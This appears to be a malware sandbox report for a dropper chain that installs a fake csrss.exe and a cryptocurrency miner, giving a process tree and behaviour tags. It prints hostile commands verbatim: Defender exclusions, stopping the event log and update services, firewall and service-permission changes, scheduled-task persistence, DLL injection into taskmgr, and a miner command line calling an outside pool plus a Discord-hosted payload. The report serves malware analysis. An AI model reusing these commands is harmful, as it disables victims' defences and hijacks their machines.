PID 3160 wrote to memory of 2492	3160	BroomSetup.exe	133
PID 3160 wrote to memory of 2492	3160	BroomSetup.exe	133
PID 2492 wrote to memory of 4512	2492	cmd.exe	201
PID 2492 wrote to memory of 4512	2492	cmd.exe	201
PID 2492 wrote to memory of 4512	2492	cmd.exe	201
PID 2492 wrote to memory of 4660	2492	cmd.exe	120
PID 2492 wrote to memory of 4660	2492	cmd.exe	120
PID 2492 wrote to memory of 4660	2492	cmd.exe	120
PID 1820 wrote to memory of 1208	1820	31839b57a4f11171d6abc8bbc4451ee4.exe	142
PID 1820 wrote to memory of 1208	1820	31839b57a4f11171d6abc8bbc4451ee4.exe	142
PID 1820 wrote to memory of 1208	1820	31839b57a4f11171d6abc8bbc4451ee4.exe	142
PID 5016 wrote to memory of 3756	5016	31839b57a4f11171d6abc8bbc4451ee4.exe	164
PID 5016 wrote to memory of 3756	5016	31839b57a4f11171d6abc8bbc4451ee4.exe	164
PID 5016 wrote to memory of 3756	5016	31839b57a4f11171d6abc8bbc4451ee4.exe	164
PID 5016 wrote to memory of 1900	5016	31839b57a4f11171d6abc8bbc4451ee4.exe	177
PID 5016 wrote to memory of 1900	5016	31839b57a4f11171d6abc8bbc4451ee4.exe	177
PID 1900 wrote to memory of 4512	1900	WerFault.exe	201
PID 1900 wrote to memory of 4512	1900	WerFault.exe	201
PID 5016 wrote to memory of 516	5016	31839b57a4f11171d6abc8bbc4451ee4.exe	213
PID 5016 wrote to memory of 516	5016	31839b57a4f11171d6abc8bbc4451ee4.exe	213
PID 5016 wrote to memory of 516	5016	31839b57a4f11171d6abc8bbc4451ee4.exe	213
PID 5016 wrote to memory of 3284	5016	31839b57a4f11171d6abc8bbc4451ee4.exe	248
PID 5016 wrote to memory of 3284	5016	31839b57a4f11171d6abc8bbc4451ee4.exe	248
PID 5016 wrote to memory of 3284	5016	31839b57a4f11171d6abc8bbc4451ee4.exe	248
PID 5016 wrote to memory of 1168	5016	31839b57a4f11171d6abc8bbc4451ee4.exe	176
PID 5016 wrote to memory of 1168	5016	31839b57a4f11171d6abc8bbc4451ee4.exe	176
PID 5016 wrote to memory of 1168	5016	31839b57a4f11171d6abc8bbc4451ee4.exe	176
PID 1168 wrote to memory of 4032	1168	csrss.exe	193
PID 1168 wrote to memory of 4032	1168	csrss.exe	193
PID 1168 wrote to memory of 4032	1168	csrss.exe	193
PID 4440 wrote to memory of 960	4440	Conhost.exe	256
PID 4440 wrote to memory of 960	4440	Conhost.exe	256
PID 4440 wrote to memory of 960	4440	Conhost.exe	256
PID 960 wrote to memory of 3472	960	Conhost.exe	265
PID 960 wrote to memory of 3472	960	Conhost.exe	265
PID 960 wrote to memory of 3472	960	Conhost.exe	265
PID 1168 wrote to memory of 4888	1168	csrss.exe	207
PID 1168 wrote to memory of 4888	1168	csrss.exe	207
PID 1168 wrote to memory of 4888	1168	csrss.exe	207
PID 1168 wrote to memory of 516	1168	csrss.exe	213
PID 1168 wrote to memory of 516	1168	csrss.exe	213
PID 1168 wrote to memory of 516	1168	csrss.exe	213
PID 1168 wrote to memory of 216	1168	csrss.exe	219
PID 1168 wrote to memory of 216	1168	csrss.exe	219

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\latestrocki.exe
"C:\Users\Admin\AppData\Local\Temp\latestrocki.exe"
1⤵
PID:3004
- C:\Users\Admin\AppData\Local\Temp\InstallSetup7.exe
  "C:\Users\Admin\AppData\Local\Temp\InstallSetup7.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:2112
- - C:\Users\Admin\AppData\Local\Temp\BroomSetup.exe
    C:\Users\Admin\AppData\Local\Temp\BroomSetup.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:3160
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Temp\Task.bat" "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2492
- - C:\Users\Admin\AppData\Local\Temp\nso5D16.tmp
    C:\Users\Admin\AppData\Local\Temp\nso5D16.tmp
    3⤵
    PID:4440
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\AppData\Local\Temp\nso5D16.tmp" & del "C:\ProgramData\*.dll"" & exit
      4⤵
      PID:960
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 5
        5⤵
        Delays execution with timeout.exe
        
        PID:3472
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4440 -s 2476
      4⤵
      Program crash
      PID:2400
- C:\Users\Admin\AppData\Local\Temp\toolspub1.exe
  "C:\Users\Admin\AppData\Local\Temp\toolspub1.exe"
  2⤵
  PID:2732
- C:\Users\Admin\AppData\Local\Temp\FirstZ.exe
  "C:\Users\Admin\AppData\Local\Temp\FirstZ.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  PID:1816
- - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
    3⤵
    PID:2668
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop bits
    3⤵
    - Launches sc.exe
    PID:968
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe create "WSNKISKT" binpath= "C:\ProgramData\wikombernizc\reakuqnanrkn.exe" start= "auto"
    3⤵
    - Launches sc.exe
    PID:4736
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe start "WSNKISKT"
    3⤵
    - Launches sc.exe
    PID:2468
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop eventlog
    3⤵
    - Launches sc.exe
    PID:3204
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe delete "WSNKISKT"
    3⤵
    - Launches sc.exe
    PID:4408
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    PID:2360
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
    3⤵
    PID:3524
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
    3⤵
    PID:4456
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
    3⤵
    PID:3628
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop dosvc
    3⤵
    - Launches sc.exe
    PID:408
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop wuauserv
    3⤵
    - Launches sc.exe
    PID:3264
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:1640
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:4092
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    PID:5028
- C:\Users\Admin\AppData\Local\Temp\rty25.exe
  "C:\Users\Admin\AppData\Local\Temp\rty25.exe"
  2⤵
  - Executes dropped EXE
  PID:4380
- C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe
  "C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1820
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1820 -s 372
    3⤵
    - Program crash
    PID:3388
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1820 -s 388
    3⤵
    - Program crash
    PID:1660
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1820 -s 384
    3⤵
    - Program crash
    PID:1404
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1820 -s 688
    3⤵
    - Program crash
    PID:1060
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1820 -s 720
    3⤵
    - Program crash
    PID:4028
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1820 -s 720
    3⤵
    - Program crash
    PID:1392
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1820 -s 748
    3⤵
    - Program crash
    PID:2256
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1820 -s 756
    3⤵
    - Program crash
    PID:4344
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1820 -s 748
    3⤵
    - Program crash
    PID:2680
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1820 -s 748
    3⤵
    - Program crash
    PID:4988
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1820 -s 668
    3⤵
    - Program crash
    PID:2652
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1820 -s 876
    3⤵
    - Program crash
    PID:2628
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1820 -s 792
    3⤵
    - Program crash
    PID:4128
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1820 -s 788
    3⤵
    - Program crash
    PID:320
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1820 -s 936
    3⤵
    - Program crash
    PID:1128
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1820 -s 928
    3⤵
    - Program crash
    PID:4008
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1820 -s 996
    3⤵
    - Program crash
    PID:2404
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1820 -s 1020
    3⤵
    - Program crash
    PID:3948
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1820 -s 704
    3⤵
    - Program crash
    PID:3204
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -nologo -noprofile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1208
- - C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe
    "C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - Checks for VirtualBox DLLs, possible anti-VM trick
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious use of WriteProcessMemory
    PID:5016
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5016 -s 352
      4⤵
      Program crash
      PID:2116
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5016 -s 364
      4⤵
      Program crash
      PID:4608
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5016 -s 652
      4⤵
      Program crash
      PID:3684
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5016 -s 692
      4⤵
      Program crash
      PID:768
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5016 -s 708
      4⤵
      Program crash
      PID:792
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5016 -s 708
      4⤵
      Program crash
      PID:3736
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5016 -s 724
      4⤵
      Program crash
      PID:1984
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5016 -s 744
      4⤵
      Program crash
      PID:4092
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      Drops file in System32 directory
      Modifies data under HKEY_USERS
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3756
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5016 -s 336
      4⤵
      Program crash
      PID:2984
  - - C:\Windows\system32\cmd.exe
      C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
      4⤵
      PID:1900
    - - C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
        5⤵
        Modifies Windows Firewall
        
        PID:4512
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      PID:516
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      PID:3284
  - - C:\Windows\rss\csrss.exe
      C:\Windows\rss\csrss.exe
      4⤵
      Executes dropped EXE
      Adds Run key to start application
      Manipulates WinMonFS driver.
      Drops file in Windows directory
      Suspicious use of WriteProcessMemory
      PID:1168
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1168 -s 392
        5⤵
        Program crash
        
        PID:4984
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1168 -s 680
        5⤵
        Program crash
        
        PID:4964
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1168 -s 728
        5⤵
        Program crash
        
        PID:3736
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1168 -s 724
        5⤵
        Program crash
        
        PID:4116
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1168 -s 776
        5⤵
        Program crash
        
        PID:4220
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1168 -s 792
        5⤵
        Program crash
        
        PID:2484
      - C:\Windows\SysWOW64\sc.exe
        
        sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
        6⤵
        Launches sc.exe
        
        PID:3928
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        Drops file in System32 directory
        Suspicious use of AdjustPrivilegeToken
        
        PID:4032
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1168 -s 724
        5⤵
        Program crash
        
        PID:2624
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1168 -s 388
        5⤵
        Program crash
        
        PID:3264
      - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        6⤵
        
        PID:3928
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1168 -s 372
        5⤵
        Program crash
        
        PID:4512
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1168 -s 972
        5⤵
        Program crash
        
        PID:3228
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1168 -s 928
        5⤵
        Program crash
        
        PID:4980
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        Drops file in System32 directory
        Modifies data under HKEY_USERS
        Suspicious use of AdjustPrivilegeToken
        
        PID:4888
    - - C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /delete /tn ScheduledUpdate /f
        5⤵
        
        PID:2052
    - - C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
        5⤵
        Creates scheduled task(s)
        
        PID:628
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        Drops file in System32 directory
        Modifies data under HKEY_USERS
        Suspicious use of AdjustPrivilegeToken
        
        PID:516
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1168 -s 928
        5⤵
        Program crash
        
        PID:4584
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1168 -s 984
        5⤵
        Program crash
        
        PID:3096
    - - C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
        
        C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
        5⤵
        Executes dropped EXE
        
        PID:216
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1168 -s 1004
        5⤵
        Program crash
        
        PID:4092
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1168 -s 760
        5⤵
        Program crash
        
        PID:5028
      - C:\Windows\system32\wusa.exe
        
        wusa /uninstall /kb:890830 /quiet /norestart
        6⤵
        
        PID:1564
    - - C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
        5⤵
        Creates scheduled task(s)
        
        PID:1272
    - - C:\Windows\windefender.exe
        
        "C:\Windows\windefender.exe"
        5⤵
        Executes dropped EXE
        
        PID:4636
      - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
        6⤵
        
        PID:2484
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1168 -s 1124
        5⤵
        Program crash
        
        PID:4936
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1168 -s 1140
        5⤵
        Program crash
        
        PID:2332
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1168 -s 1156
        5⤵
        Program crash
        
        PID:2128
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1168 -s 1116
        5⤵
        Program crash
        
        PID:2828
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1168 -s 1052
        5⤵
        Program crash
        
        PID:3096
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1168 -s 1076
        5⤵
        Program crash
        
        PID:228
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1168 -s 1068
        5⤵
        Program crash
        
        PID:3364
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1168 -s 1156
        5⤵
        Program crash
        
        PID:1300
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        Drops file in System32 directory
        Modifies data under HKEY_USERS
        
        PID:3348
    - - C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exe
        
        C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exe -xor=uiGheigee2Wuisoh -m=https://cdn.discordapp.com/attachments/1176914652060459101/1177177956087504956/xDYNmhJEPV -pool tls://showlock.net:40001 -pool tls://showlock.net:443 -pool tcp://showlock.net:80
        5⤵
        Executes dropped EXE
        
        PID:464
      - C:\Users\Admin\AppData\Local\Temp\csrss\wup\xarch\wup.exe
        
        C:\Users\Admin\AppData\Local\Temp\csrss\wup\xarch\wup.exe -o showlock.net:40001 --rig-id 200e8a1e-3ea0-4957-9d39-5244c8436134 --tls --nicehash -o showlock.net:443 --rig-id 200e8a1e-3ea0-4957-9d39-5244c8436134 --tls --nicehash -o showlock.net:80 --rig-id 200e8a1e-3ea0-4957-9d39-5244c8436134 --nicehash --http-port 3433 --http-access-token 200e8a1e-3ea0-4957-9d39-5244c8436134 --randomx-wrmsr=-1
        6⤵
        Executes dropped EXE
        Suspicious use of FindShellTrayWindow
        
        PID:3156
      - C:\Windows\rss\csrss.exe
        
        C:\Windows\rss\csrss.exe -hide 3156
        6⤵
        Executes dropped EXE
        
        PID:4928
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4928 -s 340
        7⤵
        Program crash
        
        PID:5044
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4928 -s 356
        7⤵
        Program crash
        
        PID:3192
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4928 -s 356
        7⤵
        Program crash
        
        PID:3852
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4928 -s 664
        7⤵
        Program crash
        
        PID:1620
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4928 -s 700
        7⤵
        Program crash
        
        PID:2636
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4928 -s 700
        7⤵
        Program crash
        
        PID:4084
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4928 -s 736
        7⤵
        Program crash
        
        PID:2924
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4928 -s 744
        7⤵
        Program crash
        
        PID:1544
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4928 -s 744
        7⤵
        Program crash
        
        PID:2252
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        7⤵
        
        PID:548
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        Modifies data under HKEY_USERS
        
        PID:2716
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1168 -s 1196
        5⤵
        Program crash
        
        PID:2828
    - - C:\Users\Admin\AppData\Local\Temp\csrss\713674d5e968cbe2102394be0b2bae6f.exe
        
        C:\Users\Admin\AppData\Local\Temp\csrss\713674d5e968cbe2102394be0b2bae6f.exe
        5⤵
        
        PID:5116
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        
        PID:1012

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 1820 -ip 1820
1⤵
PID:3288

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 1820 -ip 1820
1⤵
PID:4836

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 1820 -ip 1820
1⤵
PID:1564

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 1820 -ip 1820
1⤵
PID:404

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 1820 -ip 1820
1⤵
PID:1912

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 1820 -ip 1820
1⤵
PID:3444

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 1820 -ip 1820
1⤵
PID:3356

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 1820 -ip 1820
1⤵
PID:3912

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 1820 -ip 1820
1⤵
PID:2888

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 1820 -ip 1820
1⤵
PID:3752

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 1820 -ip 1820
1⤵
PID:2796

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /tn "MalayamaraUpdate" /tr "'C:\Users\Admin\AppData\Local\Temp\Updater.exe'" /sc minute /mo 30 /F
1⤵
- Creates scheduled task(s)
PID:4660

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 1820 -ip 1820
1⤵
PID:2236

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 1820 -ip 1820
1⤵
PID:516

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 1820 -ip 1820
1⤵
PID:3700

C:\Windows\SysWOW64\chcp.com
chcp 1251
1⤵
PID:4512

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 1820 -ip 1820
1⤵
PID:2260

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 1820 -ip 1820
1⤵
PID:3792

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 1820 -ip 1820
1⤵
PID:5056

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 1820 -ip 1820
1⤵
PID:1052

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 1820 -ip 1820
1⤵
PID:2508

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 5016 -ip 5016
1⤵
PID:2260

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 5016 -ip 5016
1⤵
PID:5116

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 5016 -ip 5016
1⤵
PID:3952

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 5016 -ip 5016
1⤵
PID:1580

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 5016 -ip 5016
1⤵
- Suspicious use of WriteProcessMemory
PID:3004

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 5016 -ip 5016
1⤵
PID:2776

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 5016 -ip 5016
1⤵
PID:3228

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 5016 -ip 5016
1⤵
PID:3444

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 5016 -ip 5016
1⤵
PID:2236

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 1168 -ip 1168
1⤵
- Suspicious use of WriteProcessMemory
PID:1900

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 1168 -ip 1168
1⤵
PID:2128

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 1168 -ip 1168
1⤵
PID:1580

C:\Windows\SysWOW64\WerFault.exe
